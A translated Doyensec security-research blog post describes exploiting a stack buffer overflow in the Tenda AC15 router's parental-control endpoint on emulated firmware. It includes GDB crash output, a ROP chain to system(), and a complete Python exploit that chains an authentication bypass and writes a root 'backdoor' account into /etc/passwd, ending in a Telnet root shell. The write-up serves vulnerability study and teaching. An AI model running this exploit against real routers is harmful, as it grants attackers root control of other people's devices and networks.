【翻译】!exploitable Episode One - Breaking IoT
引言
在我们上次的公司团建中,Doyensec 团队乘坐游轮沿着地中海海岸航行。尽管每个停靠点都很精彩,但作为极客,我们不得不用一些急需的黑客会议来打破日常泳池派对的单调。我们的负责人 Luca 和 John 带来了三个精心挑选的挑战,让我们绞尽脑汁寻找解决方案。每个挑战的目标都是分析一个没有已知漏洞利用的真实漏洞,并尝试自己制作一个。这些漏洞分为三个不同类别:物联网(IoT)、Web和二进制漏洞利用;因此我们都选择了自己想要处理的类别,分成小组并开始工作。
这个小组活动的名字叫“!exploitable”。对于那些不知道这是什么的人(我之前也不知道),它指的是微软为 WinDbg 调试器开发的一个扩展。使用!exploitable
命令,调试器会分析程序的状态,告诉你存在什么类型的漏洞,以及它是否看起来可以被利用。
正如你可能从标题中猜到的那样,这第一篇帖子是关于物联网挑战的。
漏洞分析
我们被要求调查的漏洞是 Tenda AC15 路由器固件中的一个缓冲区溢出漏洞,编号为 CVE-2024-2850。该公告还链接到一个GitHub 上的 markdown 文件,其中包含更多细节和一个简单的概念验证。虽然该仓库已被删除,但Wayback Machine 存档了该页面。
GitHub 文档将该漏洞描述为基于栈的缓冲区溢出,并指出该漏洞可以通过路由器控制面板 API 中/goform/saveParentControlInfo
端点的urls
参数触发。然而,我们立即注意到公告中存在一些不一致之处。首先,附带的截图清楚地显示urls
参数的内容被复制到一个使用malloc
分配的缓冲区(v18
)中,因此溢出应该发生在**堆(heap)**上,而不是栈上。
该页面还包含一个非常简单的概念验证,旨在通过发送带有大负载的请求来使应用程序崩溃。然而,我们在这里发现了另一个不一致之处,因为 PoC 中使用的参数简称为u
,而不是公告文本中描述的urls
。
import requests
from pwn import*
ip = "192.168.84.101"
url = "http://" + ip + "/goform/saveParentControlInfo"
payload = b"a"*1000
data = {"u": payload}
response = requests.post(url, data=data)
print(response.text)
这些矛盾很可能只是复制粘贴的问题,所以我们并没有过多考虑。此外,如果你快速进行 Google 搜索,你会发现这个固件中并不缺少漏洞,更广泛地说,在 Tenda 路由器中也是如此——所以我们并不担心。
环境搭建
第一步是搭建一个可以运行漏洞固件的工作环境。通常情况下,你需要获取固件,提取二进制文件,并使用 QEMU 进行模拟(注意:不包括中间的无数故障排除步骤)。但我们当时在船上,网络连接非常不稳定,没有 StackOverflow 的帮助,我们根本无法完成所有工作。
幸运的是,有一个名为 EMUX 的出色项目,专门用于漏洞利用练习,这正是我们所需要的。简单来说,EMUX 在 Docker 容器中运行 QEMU。令人惊叹的是,它已经包含了许多易受攻击的 ARM 和 MIPS 固件(包括 Tenda AC15);它还负责网络配置、修补二进制文件以通过特定硬件检查,并且预装了许多工具(如带有 GEF 的 GDB),非常方便。如果你对 Tenda AC15 的模拟过程感兴趣,可以在这里找到工具作者的博客文章 https://armx.exploitlab.net/docs/emulating-tenda-ac15.html。
按照 EMUX 的 README 页面上的简单设置步骤操作后,我们看到了暴露在127.0.0.1:20080
上的路由器控制面板(密码是ringzer0
)。
从漏洞端点的名称,我们可以推断受影响的功能与家长控制有关。因此,我们登录控制面板,点击侧边栏中的"Parental Control"项,并尝试创建一个新的家长控制规则。以下是 Web 界面中的表单外观:
以下是发送到 API 的请求,证实了我们的怀疑,即漏洞就是在这里被触发的:
POST /goform/saveParentControlInfo HTTP/1.1
Host: 127.0.0.1:20080
Content-Length: 154
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: password=ce80adc6ed1ab2b7f2c85b5fdcd8babcrlscvb
Connection: keep-alive
deviceId=de:ad:be:ef:13:37&deviceName=test&enable=1&time=19:00-21:00&url_enable=1&urls=google.com&day=1,1,1,1,1,1,1&limit_type=0
正如预期的那样,原始公告中的概念验证(PoC)并不能直接使用。首先,因为受影响的端点显然只能在身份验证后访问,其次是因为u
参数确实不正确。在我们为脚本添加了身份验证步骤并修正了参数名称后,我们确实触发了崩溃。在手动对请求进行了一些"模糊测试"并检查了应用程序的行为后,我们决定是时候尝试将 GDB 附加到服务器进程,以获取更多关于崩溃的详细信息。
通过 EMUX,我们在模拟系统中启动了一个 shell,并使用ps
命令检查了操作系统上运行的进程,实际上并不多(为清晰起见,省略了一些不相关/重复的进程):
698 root 0:02 {run-init} /bin/bash ./run-init
1518 root 0:00 {emuxinit} /bin/sh /.emux/emuxinit
1548 root 0:58 cfmd
1549 root 0:00 udevd
1550 root 0:00 logserver
1566 root 0:00 nginx: master process nginx -p /var/nginx
1568 root 0:00 nginx: worker process
1569 root 0:00 /usr/bin/app_data_center
1570 root 0:16 moniter
1573 root 0:00 telnetd
1942 root 0:02 cfmd
1944 root 0:23 netctrl
1945 root 2:00 time_check
1947 root 1:48 multiWAN
1950 root 0:01 time_check
1953 root 0:04 ucloud_v2 -l 4
1959 root 0:00 business_proc -l 4
1977 root 0:02 netctrl
2064 root 0:09 dnrd -a 192.168.100.2 -t 3 -M 600 --cache=2000:4000 -b -R /etc/dnrd -r 3 -s 8.8.8.8
2068 root 0:00 business_proc -l 4
2087 root 0:01 dhttpd
2244 root 0:01 multiWAN
2348 root 0:03 miniupnpd -f /etc/miniupnpd.config
4670 root 0:00 /usr/sbin/dropbear -p 22222 -R
4671 root 0:00 -sh
4966 root 0:07 sntp 1 17 86400 50 time.windows.com
==7382 root 0:11 httpd==
8820 root 0:00 {run-binsh} /bin/bash ./run-binsh
8844 root 0:00 {emuxshell} /bin/sh /.emux/emuxshell
8845 root 0:00 /bin/sh
9008 root 0:00 /bin/sh -c sleep 40; /root/test-eth0.sh >/dev/null 2>&1
9107 root 0:00 ps
进程列表并没有显示什么特别有趣的信息。从进程列表中可以看到有一个dropbear
SSH 服务器,但这实际上是由 EMUX 启动的,用于在主机和模拟系统之间进行通信,它并不是原始固件的一部分。同时还有一个telnetd
服务器在运行,这在路由器中很常见。httpd
进程似乎正是我们一直在寻找的;netstat
确认httpd
是监听 80 端口的进程。
tcp 0 0 0.0.0.0:9000 0.0.0.0:*LISTEN 1953/ucloud_v2
tcp 0 0 0.0.0.0:22222 0.0.0.0:* LISTEN 665/dropbear
==tcp 0 0 192.168.100.2:80 0.0.0.0:*LISTEN 7382/httpd==
tcp 0 0 172.27.175.218:80 0.0.0.0:* LISTEN 2087/dhttpd
tcp 0 0 127.0.0.1:10002 0.0.0.0:*LISTEN 1953/ucloud_v2
tcp 0 0 127.0.0.1:10003 0.0.0.0:* LISTEN 1953/ucloud_v2
tcp 0 0 0.0.0.0:10004 0.0.0.0:*LISTEN 1954/business_proc
tcp 0 0 0.0.0.0:8180 0.0.0.0:* LISTEN 1566/nginx
tcp 0 0 0.0.0.0:5500 0.0.0.0:*LISTEN 2348/miniupnpd
tcp 0 0 127.0.0.1:8188 0.0.0.0:* LISTEN 1569/app_data_cente
tcp 0 0 :::22222 :::*LISTEN 665/dropbear
tcp 0 0 :::23 :::* LISTEN 1573/telnetd
此时,我们只需要将 GDB 附加到目标进程上。我们花费了比预期更多的时间来构建交叉工具链、编译 GDB,并研究如何从 M1 Mac 上附加到目标进程。不要这样做,直接阅读手册即可。如果我们这样做了,就会发现 GDB 已经包含在容器中。
要访问 GDB,只需执行./emux-docker-shell
脚本,然后运行emuxgdb
命令并附加到目标进程。还有其他有用的工具可用,例如emuxps
和emuxmaps
。
通过 GDB 分析崩溃帮助我们大致了解了发生了什么,但还远未达到"让我们制作一个漏洞利用"的水平。我们确认saveParentControlInfo
函数确实存在漏洞,并一致认为现在是时候反编译该函数以更好地理解其工作原理了。
调查过程
二进制文件
为了开始调查,我们从模拟系统中提取了httpd
二进制文件。在首次启动后,路由器的文件系统会被提取到/emux/AC15/squashfs-root
目录中,因此你可以简单地使用docker cp emux-docker:/emux/AC15/squashfs-root/bin/httpd .
命令复制二进制文件。
复制完成后,我们使用 pwntool 的 checksec 检查了二进制文件的安全标志:
[*] 'httpd'
Arch: arm-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8000)
以下是这些安全机制的含义解析:
-
NX
(No eXecute,不可执行)是唯一启用的防护机制;它意味着某些内存区域(如栈或堆)中的代码无法被执行。这有效地阻止了我们将 shellcode 注入缓冲区并跳转执行。 -
RELRO
(Read-Only Relocation,只读重定位)使某些内存区域变为只读,例如全局偏移表(GOT)。GOT 存储着动态链接函数的地址。当RELRO
未启用时,任意写原语可能允许攻击者将 GOT 中的函数地址替换为任意地址,并在调用被劫持的函数时重定向执行流程。 -
栈金丝雀(Stack Canary)是在最终返回指针之前放置在栈上的随机值。程序在返回前会检查栈金丝雀是否正确,从而有效防止栈溢出重写返回指针,除非攻击者能够利用其他漏洞泄露金丝雀值。 -
PIE
(Position Independent Executable,位置无关可执行文件)意味着二进制文件可以被加载到内存中的任意位置,其基地址在每次启动时都会随机选择。因此,"No PIE"的二进制文件总是加载到相同的地址,在本例中为0x8000
。需要注意的是,这仅适用于二进制文件本身,而如果 ASLR 启用,其他段(如共享库和栈/堆)的地址仍会被随机化。
关于 ASLR(地址空间布局随机化),我们通过在模拟系统上运行cat /proc/sys/kernel/randomize_va_space
来检查其是否启用,结果为0
(即禁用)。我们不确定真实设备上是否启用了 ASLR,但鉴于时间有限,我们决定利用这一点。
由于几乎所有防护机制都被禁用,我们在选择利用技术时没有任何限制。
函数分析
我们启动了 Ghidra 并花了一些时间尝试理解代码,同时修复变量和函数的名称和类型,希望能更好地理解函数的功能。幸运的是,我们做到了,以下是该函数的功能概述:
-
分配所有栈变量和缓冲区
int iVar1;
byte bVar2;
bool bVar3;
char time_to [32];
char time_from [32];
int rule_index;
char acStack_394 [128];
int id_list [30];
byte parsed_days [8];
undefined parent_control_id [512];
undefined auStack_94 [64];
byte *rule_buffer;
byte *deviceId_buffer;
char *deviceName_param;
char *limit_type_param;
char *connectType_param;
char *block_param;
char *day_param;
char *urls_param;
char *url_enable_param;
char *time_param;
char *enable_param;
char *deviceId_param;
undefined4 local_24;
undefined4 local_20;
int count;
int rule_id;
int i; -
将 HTTP 请求体参数读取到独立的堆分配缓冲区中:
deviceId_param = readBodyParam(client,"deviceId","");
enable_param = readBodyParam(client,"enable","");
time_param = readBodyParam(client,"time","");
url_enable_param = readBodyParam(client,"url_enable","");
urls_param = readBodyParam(client,"urls","");
day_param = readBodyParam(client,"day","");
block_param = readBodyParam(client,"block","");
connectType_param = readBodyParam(client,"connectType","");
limit_type_param = readBodyParam(client,"limit_type","1");
deviceName_param = readBodyParam(client,"deviceName",""); -
保存设备的名称和 MAC 地址
if (*deviceName_param != ' ') {
setDeviceName(deviceName_param,deviceId_param);
} -
将
time
参数分割为time_to
和time_from
if (*time_param != ' ') {
for (int i = 0; i < 32; i++) {
time_from[i] = ' ';
time_to[i] = ' ';
}
sscanf(time_param,"%[^-]-%s",time_from,time_to);
iVar1 = strcmp(time_from,time_to);
if (iVar1 == 0) {
writeResponseText(client, "HTTP/1.1 200 OKnContent-type: text/plain; charset=utf-8nPragma: no-cachenCache-Control: no-cachenn");
writeResponseText(client,"{"errCode":%d}",1);
writeResponseStatusCode(client,200);
return;
}
} -
在堆中分配一些缓冲区用于解析和存储家长控制规则
-
解析其他请求体字段 - 主要是调用
strcpy
和atoi
- 并将结果存储在一个大的堆缓冲区中 -
执行一些完整性检查(例如规则是否已存在、是否达到最大规则数量)并保存规则
-
发送 HTTP 响应
-
返回
你可以在我们的 GitHub 仓库中找到完整的反编译函数 https://github.com/doyensec/exploitable-IoT-solution。
不幸的是,这个分析证实了我们一直以来的怀疑。urls
参数总是在堆分配的缓冲区之间进行复制,因此这个漏洞实际上是一个堆溢出 (heap overflow)。由于时间有限且网络连接非常差,我们决定改变目标,尝试利用另一个漏洞。
一个立即引起我们注意的有趣代码片段是步骤 4 中粘贴的代码,其中 time
参数被分割成两个值。这个参数应该是一个时间范围,例如 19.00-21.00
,但函数需要原始的开始和结束时间,因此需要在 -
字符处进行分割。为此,程序使用格式字符串 "%[^-]-%s"
调用 sscanf
。%[^-]
部分将从字符串开头匹配到连字符 (-
),而 %s
将在遇到空白字符时停止(两者都会在遇到空字节时停止)。
有趣的是,time_from
和 time_to
都在栈 (stack) 上分配,每个大小为 32 字节,正如你在上面的步骤 1 中看到的那样。time_from
似乎是溢出的完美目标,因为它没有空白字符的限制;有效载荷中唯一"禁止"的字节是空字节 (x00
) 和连字符 (x2D
)。
漏洞利用 (Exploit)
漏洞利用的策略是实现一个简单的 ROP 链 (Return-Oriented Programming chain) 来调用 system()
并执行 shell 命令。对于不了解的人来说,ROP 代表面向返回的编程 (Return-Oriented Programming),它通过在栈中写入一系列返回指针和数据,使程序跳转到内存中的某个位置并运行从其他函数借用的短指令片段(称为 gadgets),在到达新的 return
指令时再次跳转到其他地方,重复这种模式直到链完成。
首先,我们简单地在 time
参数中发送一堆 A
,后面跟着 -1
(用于填充 time_to
),并在 GDB 中观察崩溃:
Program received signal SIGSEGV, Segmentation fault.
0x4024050c in ==strcpy ()== from target:/emux/AC15/squashfs-root/lib/libc.so.0
────────────────────────────────────────────────────────────────────────────────
$r0 : 0x001251ba → 0x00000000
$r1 : ==0x41414141== ("AAAA"?)
$r2 : 0x001251ba → 0x00000000
$r3 : 0x001251ba → 0x0000000
[...]
我们确实得到了一个 SEGFAULT,但发生在 strcpy
中?确实,如果我们再次检查步骤 1 中分配的变量, time_from
位于所有指向其他参数存储位置的 char*
变量之前。当我们覆盖 time_from
时,这些指针将指向一个无效的内存地址;因此,当程序在步骤 6 中尝试解析它们时,我们会在到达我们期望的返回指令之前遇到段错误。
这个问题的解决方案相当直接:与其用 A
填充,我们可以用一个有效的字符串指针来填充这个间隙,任何字符串都可以。不幸的是,我们无法提供主二进制文件内存的地址,因为它的基地址是 0x8000
,当转换为 32 位指针时,它总是以空字节开头,这将阻止 sscanf
解析剩余的有效载荷。让我们利用 ASLR 被禁用的特性,直接从栈中提供一个字符串;time_to
的地址似乎是一个完美的选择:
-
它位于 time_from
之前,因此在溢出期间不会被覆盖 -
我们可以将其设置为单个数字,例如 1
,当它被解析为字符串、整数或布尔值时都是有效的 -
由于它只有一个字节,我们可以确保不会溢出其他缓冲区
使用 GDB,我们可以看到 time_to
始终分配在地址 0xbefff510
。经过一些尝试和错误,我们找到了一个合适的填充量,可以让我们在不导致函数中间崩溃的情况下到达返回指令:
timeto_addr = p32(0xbefff510)
payload = b"A"*880
payload += timeto_addr * 17
payload += b"BBBB"
通过查看 GDB 中的崩溃信息,我们可以看到我们成功控制了程序计数器 (program counter)!
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
────────────────────────────────────────────────────────────────────────────────
$r0 : 0x108
$r1 : 0x0011fdd8 → 0x00120ee8 → 0x0011dc40 → 0x00000000
$r2 : 0x0011fdd8 → 0x00120ee8 → 0x0011dc40 → 0x00000000
$r3 : 0x77777777 ("wwww"?)
$r4 : 0xbefff510 → 0x00000000
$r5 : 0x00123230 → "/goform/saveParentControlInfo"
$r6 : 0x1
$r7 : 0xbefffdd1 → "httpd"
$r8 : 0x0000ec50 → 0xe1a0c00d
$r9 : 0x0002e450 → push {r4, r11, lr}
$r10 : 0xbefffc28 → 0x00000000
$r11 : 0xbefff510 → 0x00000000
$r12 : 0x400dcedc → 0x400d2a50 → <__pthread_unlock+0> mov r3, r0
$sp : 0xbefff8d8 → 0x00000000
$lr : 0x00010944 → str r0, [r11, #-20] ; 0xffffffec
==$pc : 0x42424242 ("BBBB"?)==
$cpsr: [negative zero CARRY overflow interrupt fast thumb]
现在执行 shell 命令最简单的方法是找到一个 gadget 链,让我们能够调用 system()
函数。在 ARM 架构中,函数调用约定是通过寄存器传递参数。具体来说,system()
函数接受一个指向要执行命令字符串的指针,该指针通过 r0
寄存器传递。
我们还需要将命令字符串写入内存中的某个位置。如果这是一个本地二进制文件而不是 HTTP 服务器,我们可以加载 /bin/sh
字符串的地址,这个字符串通常可以在 libc
中找到。但在这种情况下,我们需要指定一个自定义命令来设置后门或反向 shell。命令字符串本身必须以空字节结尾,因此我们不能简单地将它放在 payload 之前的填充中间。我们可以做的是将字符串放在 payload之后。由于没有 ASLR,字符串的地址将是固定的,字符串的空字节将只是整个 payload 末尾的空字节。
在将命令字符串的地址加载到 r0
之后,我们需要"返回"到 system()
。关于这一点,我有个小坦白。尽管我一直在说 return
指令,但在 ARM32 架构中并没有这样的指令;返回只是通过将地址加载到 pc
寄存器中来实现的,这可以通过许多不同的指令来完成。从栈中加载地址的最简单例子是 pop {pc}
。
总结一下,我们需要做的是:
-
将命令字符串的地址写入栈中 -
将该地址加载到 r0
中 -
将 system()
函数地址写入栈中 -
将该地址加载到 pc
中
为了实现这一点,我们使用 ropper 来寻找类似于 pop {r0}; pop {pc}
的 gadget,但很难找到一个地址中没有空字节的合适 gadget。幸运的是,我们实际上在 libc.so
中找到了一个很好的 pop {r0, pc}
指令,可以同时完成这两个任务。
使用 GDB,我们获取了 __libc_system
的地址(不要犯只搜索 system
的错误,这不是正确的函数),并计算了命令字符串将被写入的地址。现在我们有了运行 shell 命令所需的一切!但运行什么命令呢?
我们检查了系统中存在的二进制文件,寻找可以提供反向 shell 的东西,比如 Python 或 Ruby 解释器,但没有找到任何有用的东西。我们可以交叉编译一个自定义的反向 shell 二进制文件,但我们决定采用一个更快的解决方案:直接使用现有的 Telnet 服务器。我们可以简单地在 /etc/passwd
中添加一行来创建一个 backdoor
用户,然后使用该用户登录。命令字符串如下:
echo 'backdoor:$1$xyz$ufCh61iwD3FifSl2zK3EI0:0:0:injected:/:/bin/sh' >> /etc/passwd
注意:您可以使用以下命令为 /etc/passwd
文件生成有效的哈希值:
openssl passwd -1 -salt xyz hunter2
最终,完整的漏洞利用 (exploit) 代码如下所示:
#!/usr/bin/env python3
import requests
import random
import sys
import struct
p32 = lambda addr: struct.pack("<I", addr) # Equivalent to pwn.p32
def gen_payload():
timeto_addr = p32(0xbefff510) # addr of the time_to string on the stack, i.e. "1"
system_addr = p32(0x4025c270) # addr of the system function
cmd = "echo 'backdoor:$1$xyz$ufCh61iwD3FifSl2zK3EI0:0:0:injected:/:/bin/sh' >> /etc/passwd"# command to run with system()
cmd_str_addr = p32(0xbefff8e0) # addr of the cmd string on the stack
pop_r0_pc = p32(0x4023fb80) # addr of 'pop {r0, pc}' gadget
payload = b"A"*880 # stuff we don't care about
payload += timeto_addr * 17 # addr of the time_to str from the stack, i.e. "1"
# here we are overwriting a bunch of ptrs to strings which are strcpy-ed before we reach ret
# so let's overwrite them with a valid str ptr to ensure it doesn't segfault prematurely
payload += pop_r0_pc # ret ptr is here. we jump to 'pop {r0, pc}' gadget to load the cmd string ptr into r0
payload += cmd_str_addr # addr of the cmd string from the stack, to be loaded in r0
payload += system_addr # addr of system, to be loaded in pc
payload += cmd.encode() # the "cmd" string itself, placed at the end so it ends with ' '
return payload
def exploit(target: str):
name = "test" + ''.join([str(i) for i in [random.randint(0,9) for _ in range(5)]])
res = requests.post(
f"http://{target}/goform/saveParentControlInfo?img/main-logo.png", # Use CVE-2021-44971 Auth Bypass: https://github.com/21Gun5/my_cve/blob/main/tenda/bypass_auth.md
data={
"deviceId":"00:00:00:00:00:02",
"deviceName":name,
"enable":0,
"time": gen_payload() + b"-1",
"url_enable":1,
"urls":"x.com",
"day":"1,1,1,1,1,1,1",
"limit_type":1
}
)
print("Exploit sent")
if __name__ == '__main__':
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} IP:PORT")
sys.exit()
target = sys.argv[1]
try:
input("Press enter to send exploit")
exploit(target)
print("Done! Login to Telnet with backdoor:hunter2")
except Exception as e:
print(e)
print("Connection closed unexpectedly")
该漏洞利用程序完美运行,成功在系统中添加了一个新的“backdoor”用户。随后,我们可以直接通过 Telnet 连接获取完整的 root shell 权限。
最终的漏洞利用代码也可在 GitHub 仓库中获取。
$ telnet 127.0.0.1 20023
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
Tenda login: backdoor
Password:
~ # cat /etc/passwd
root:$1$nalENqL8$jnRFwb1x5S.ygN.3nwTbG1:0:0:root:/:/bin/sh
admin:6HgsSsJIEOc2U:0:0:Administrator:/:/bin/sh
support:Ead09Ca6IhzZY:0:0:Technical Support:/:/bin/sh
user:tGqcT.qjxbEik:0:0:Normal User:/:/bin/sh
nobody:VBcCXSNG7zBAY:0:0:nobody for ftp:/:/bin/sh
backdoor:$1$xyz$ufCh61iwD3FifSl2zK3EI0:0:0:injected:/:/bin/sh
结论
在活动结束后,我们经过调查发现,我们最终利用的特定漏洞已被记录为 CVE-2020-13393。据我们所知,我们的 PoC(概念验证)是针对该特定端点的首个有效漏洞利用程序。然而,由于该平台已有大量其他漏洞利用程序,其实际价值有所降低。
尽管如此,这次挑战是一次极佳的学习经历。我们得以深入探索 ARM 架构,并提升了漏洞开发技能。在没有可靠网络连接的情况下协同工作,也让我们能够分享知识,并从不同角度解决问题。
如果您已经阅读到这里,非常棒,干得好!请继续关注我们的博客,确保不错过下一期 Web 和 Binary 的 !exploitable 系列。
原文始发于微信公众号(securitainment):!exploitable Episode One - Breaking IoT
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论